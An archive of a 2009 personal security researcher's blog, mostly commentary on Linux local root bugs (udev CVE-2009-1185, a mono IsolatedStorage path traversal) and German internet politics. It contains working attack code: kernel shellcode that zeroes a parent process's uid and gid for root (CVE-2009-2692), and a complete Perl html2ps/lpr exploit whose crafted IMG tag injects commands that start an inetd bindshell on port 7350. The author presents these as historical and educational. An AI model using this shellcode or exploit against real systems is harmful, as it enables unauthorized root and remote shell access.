Friday, August 14, 2009

A .note on CVE-2009-2692

I recommend reading this posting.

I am usually not commenting on other ppl's bug-findings. 100% of the fame and honor should
go to Tavis Ormandy and Julien Tinnes. If spenders exploit is doing too much magic for you,
heres the simple code snippet, which, if mapped at 0x0 gives you root:

// threadinfo = $0xffffffffffffe000 & %rsp
// task_struct offsets: current->parent = 696 current->uid = 1080
void do_root_2_6_27_x8664()
{
__asm__(""
"xor %rax,%rax\n"
"mov $0xffffffffffffe000,%rax\n" /* find threadinfo */
"and %rsp,%rax\n"
"mov (%rax),%rax\n" /* threadinfo->task */
"mov 696(%rax),%rax\n" /* task->parent */
"movl $0,1080(%rax)\n" /* task->uid = 0 */
"movl $0,1084(%rax)\n" /* task->euid = 0 */
"movl $0,1088(%rax)\n" /* task->suid = 0 */
"movl $0,1092(%rax)\n" /* task->fsuid = 0 */
"movl $0,1096(%rax)\n" /* task->gid = 0 */
"movl $0,1100(%rax)\n" /* task->egid = 0 */
"leaveq\n");
}

It doesn't disable SELinux or so, its just for understanding that for simple rootshell you only
need to give the parent of the exploit (which is usually the shell that started the exploit)
UID/EUID of 0. The code is a modification of shellcode I used in a bluetooth kernel
PoC exploit 4 years or so ago.The code will cause a segfault
to the current process which does not matter since we
only care about the parent shell which obtains its root privs.

So, how much magic is there with the exploit?

Greetings to the people at HAR, I am sad I cannot attend this time :(

Thursday, July 30, 2009

pwned

Today I proudly realized, while viewing Referer logs, I
have been nominated for the Best Privilege Escalation
Bug in the pwnie-awards for discovering and exploiting

CVE-2009-1185 (udev). The story behind that is that
I was frustrated to have no root-sex within the last
6 months or so (since postfix) and therefore
I started reviewing the glibc ELF loader for such which lead me
somehow to certain daemons such as nscd followed by
hald and finally udevd. I quickly realized that it missed
important checks but the impact was unknown to me since
it kindly denied my exploitation offers until I found my way in.

You might be surprised to hear that I am not really
a security guy and used to stay away from sec-con events,
even though I work in that field.
I rather see myself as a programmer with interest in coding
and reading other peoples code and its often funny to
watch and follow discussions by the "security professionals".

The thing that makes me actually commenting on this is the
nice coincide with the nomination of my hero Solar Designer. :)



Wednesday, July 29, 2009

unreadable comments

Its possible that its just spam, but I receive a lot
of chinese/japanese or whatever comments to my postings.
Since I wont approve what I dont understand, I cannot
approve these. So, please comment either in deutsch
or in english.

Sunday, July 19, 2009

A .note on local root exploits

There happened a lot of weird things and discussions
during the last week. Not only a silly kernel/gcc
combination attack was published by my favorite VJ;
also a second issue was released by the google sec-team,
which unfortunally was inside the same program that spender
used as an attack vector in one of the videos.

At the end, its nice that there are (thanks god, I am not
alone in this world!) people who seem to like/care
about local root exploits. You should definitely
have a look at Julien's blog (pulseuadio as well
as the mmap_min_addr postings).I feel like _uh,ohhh_
that theres actually some people doing real things
beside all the web 2.o, XSS and similar sillyness.

As you might know (or not, who cares :) I like local
root exploits. Every now and then I try to find some,
and sometimes I am even successful. Not only two times
so far, as some blogs try to suggest. :-)
Surprinsingly it is not much harder than 10 years ago,
if we do not count overflow/memory corruption bugs.
The bugs just get more silly and most of the time they
require a combination of multiple minor flaws. But
thats exactly what makes the beauty of local root exploits.

Some people do not honour them. They argue that only
remote exploits are of interest. But these people probably
never run a cluster or one of the top500's or found themself
removing ssh backdoors on a weekend instead of having fun.

A local vulnerability deservs the same update urgency
as remote ones.




Tuesday, May 5, 2009

Do not follow me on twitter

I just grabbed a login on twitter but I am probably
not going to publish something there. Its just
a place holder.

I reviewed a lot of messaging code (hal, upstart etc.) during the last few weeks
as a post-handling of the udev issue. I learned a lot and
thats great, but no new interesting issues so far.




Saturday, April 18, 2009

New WWW censorship (f)laws in .de

I am usually not into politics, but today its necessary and I
hope I am not forced too often to write such statements.
Its about the german government introducing censorship
into the WWW while big companies spy on their employees.
Instead of bringing law to the people, flaw is brought to
the people.

Das Ministerium für Gedöhns (O-Ton Ex-Bukasch) hat es geschafft
die deutschen Internetprovider zu Leymen. Brav unterzeichnen sie
in der Majorität Knebelverträge mit dem BKA (Quelle Wikileaks).
Komisch wie schnell soetwas geht, während Datenskandalen
und Misswirtschaft anscheinend nicht beizukommen ist.
Es ist wohl alles nur eine Frage des richtigen Leyms.
Nach bekanntem Muster werden mal wieder eine handvoll Perversitäten
oder Terroristen als Anlass genommen den Bürger noch
ein Stück mehr zu gängeln.

Mich würde rein technisch interessieren wieviel Latenz bereits
jetzt durch genannte Sperren, Filter, Bundestrojaner,
Vorratsdatenspeicherung, Legal-Interception Implementierungen usw.
verloren geht. Wahrscheinlich ruft mich die T deshalb drei
mal die Woche an, ob ich nicht auf VDSL upgraden möchte.




Thursday, April 16, 2009

udev trickery (CVE-2009-1185 and CVE-2009-1186)




While the security industry is making weird statements about
no-more-free-hugs and
OSX vs. Windows exploitation fun,
I add my two cents on UNIX exploitation.


There have been two problems in all currently running udevd's
which are shipped on
all major Linux distributions. Even if you
install
selinux or other hardening mechanisms, you are at risk
(please see above screenshot on a targeted selinux config).

The first problem (CVE-2009-1185) appears since the origin of
KOBJECT_UEVENT
messages are not verified, so any user can spoof
messages that udevd takes
as granted from kernel. This allows
some trickery to create a device named
/dev/random with permission
0666 but major and minor number of your
root blockdevice. The rest
is code. Alternatively, CVE-2009-1186 could be exploited
which is a standard stack buffer overflow. Depending on the
configuration of the system
CVE-2009-1185 can also be exploited
with weird network interface-names and
alike so at the end,
chrooted/jailed or PrivSep'ed users have good chance to get a full rootshell.

Tuesday, March 24, 2009

sharpen your .NET skills



I have had dozens of discussions about C#; being a secure
language and that CLR/VM based languages should be used
with new projects in order to increase security. One argument
is that memory corruption can't happen any longer.
I agree, but always point out that C# code is not secure
automagically, even if the programmers code is correct.
The runtime might be buggy as well! I recently read an
article in the famous german iX magazine about security measurements
in .NET. One of the measures is the so called IsolatedStorage
which allows you to store data in a secure way. Much like
a database, based on a token you can store/retrieve data
without your real filesystem being at risk. Nice thing,
and I coded an example-server:
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.IO;
using System.IO.IsolatedStorage;

class Server {

private static void store(string key, Byte[] b)
{
try {
Console.WriteLine("Isolated storage @ {0}", key);
IsolatedStorageFileStream fs = new IsolatedStorageFileStream(key, FileMode.Create);
fs.Write(b, 0, b.Length);
fs.Close();
} catch {
Console.WriteLine("Exception!");
}
}

private static Byte[] load(string key)
{
Byte[] b = new Byte[256];
try {
Console.WriteLine("IsolatedStorage load @ {0}", key);
IsolatedStorageFileStream fs = new IsolatedStorageFileStream(key, FileMode.Open);
fs.Read(b, 0, b.Length);
fs.Close();
} catch {
Console.WriteLine("Exception!");
}
return b;
}
public static void Main()
{
Byte[] buf = new Byte[256];
int cnt;

string data = "";

ASCIIEncoding ascii = new ASCIIEncoding();
TcpListener l = new TcpListener(8080);
l.Start();
try {
Socket s = l.AcceptSocket();
while (data.Trim() != "quit") {
Array.Clear(buf, 0, buf.Length);
if ((cnt = s.Receive(buf, buf.Length, 0)) == 0)
break;
data = ascii.GetString(buf, 0, cnt);
Console.WriteLine("Received: {0}", data.Trim());
if (data.StartsWith("store ")) {
Array.Clear(buf, 0, buf.Length);
if (s.Receive(buf, buf.Length, 0) == 0)
break;
store(data.Substring(6, data.Length - 6).Trim(), buf);
} else if (data.StartsWith("load ")) {
Byte[] result = load(data.Substring(5, data.Length - 5).Trim());
s.Send(result);
}
}
} catch {
Console.WriteLine("Exception!");
}
l.Stop();
}
}

You can connect to the server on TCP port 8080 and
store/load data via the telnet interface for example.
Beside the easy of code and the fact that it treats
TCP streams like messages which could make trouble in
real networking environments, this code should be correct.
It fits perfectly as a localhost example. There is just
a problem with the IsolatedStorage itself!
Some versions of the mono runtime do not remove
"../" character sequences from the path component as it
should. So, depending on your configuration you can
obtain funny results. On a openSUSE 11.1, the storage
place is in ~/.config/.isolated-storage/[some-hash]/.
An attacking scenario is inside the xterm.
I already informed the maintainers and a fix is underway.
Its not a big issue, and I dont have any application in mind
that is actually vulnerable and uses IsolatedStorage this way.

File-system/storage tricks will be a major playground for
.NET/C# applications in future. In a non-public review
of a larger C# based "system" it turned out that it was possible to obtain
local root privileges by loading evil assemblies as
a result of tricking the application.
Additionally, the managed runtime may provide
(depending on the implementation) all the
nasty things that we got rid of in native CPUs during
the last years: executable data, fixed addresses etc.



Friday, March 20, 2009

PcapSharp updated

You can find a new pcap# version of my mono pcap binding
on my website. Its better tested than the old version,
and supports packet dumping and offline capturing of packets
now as well as it supported online capturing in the past.
It is possible to read/analyze the
pcap# dump-files with
tcpdump and wireshark. I am not an expert for Marshalling
C# types to plain C types, but I think I got it right :-)

Tuesday, March 10, 2009

Some news



This post satisfies two needs (except publishing code at all):


First, I hate how this blog automatically wraps my lines and
how it de-formats all things I am doing. I try to submit
pure HTML code now and hope it works. Second, I decided to
publish some old exploits of me for historical, technical
and educational purposes. A recent law-case in Germany showed
that jail-or-not is all about your intention. It is legal
to publish dual-use code or code that could be used to do
something evil if your intention is to make the world a more
secure place or to teach others how to protect themself etc..
It is illegal to publish such code in order to commit a crime
which is clearly and obviosuly not what I am doing.

The code is that old (2002), that there should rarely be any box at all
which still ships the vulnerable print-filter that is exploited
here. So, except for teaching something this code is useless.
The interesting thing about this piece is that the printfilter didnt
accept spaces in the IMG-tag. But read yourself:

#!/usr/bin/perl -W

# html2ps remote "lp" exploit. Opens shell on port 7350.
# If used for testing remote machines, /etc/printcap must
# contain appropriate remote printernames etc. and lpd must
# be set up correctly.
# (C) 2002 Sebastian Krahmer, proof of concept exploit.

# Brief problem description: lprng calls printfilters as any
# other print-spooling systems do. It calls them with UID of lp
# thats why you get lp-user shell later. The html2ps filter which is
# a perl script is called to convert the evil.html to .ps.
# However there it breaks because html2ps calls open() function insecurely
# and some other bad stuff is done too. It tries to convert the IMG embedded
# in the html and invokes some commands which give us access. Thats all. :)


sub usage
{
print "\n$0 <printhost> <remote-host>\n".
"\tprinthost -- name of printer in /etc/printcap\n".
"\tremote-host -- IP or hostname of host where shell appears\n".
"'$0 lp 127.0.0.1' is recommended for everyones own machine\n\n";
exit;
}


my $printhost = shift || usage();
my $remote = shift || usage();

print "Constructing evil.html ...\n";

open O, ">evil.html" or die $!;
print O<<__eof__;
<HTML>
<IMG SRC="|IFS=A;X=A;echo\${X}7350\${X}stream\${X}tcp\${X}nowait\${X}lp\${X}/bin/sh\${X}-i|dd\${X}of=/tmp/f;inetd\${X}/tmp/f">
</HTML>
__eof__

close O;

if (fork() == 0) {
exec("/usr/bin/lpr", "-P", $printhost, "evil.html");
}
wait;
sleep 3;
print "Connecting ...\n";
exec("/usr/bin/telnet", $remote, 7350);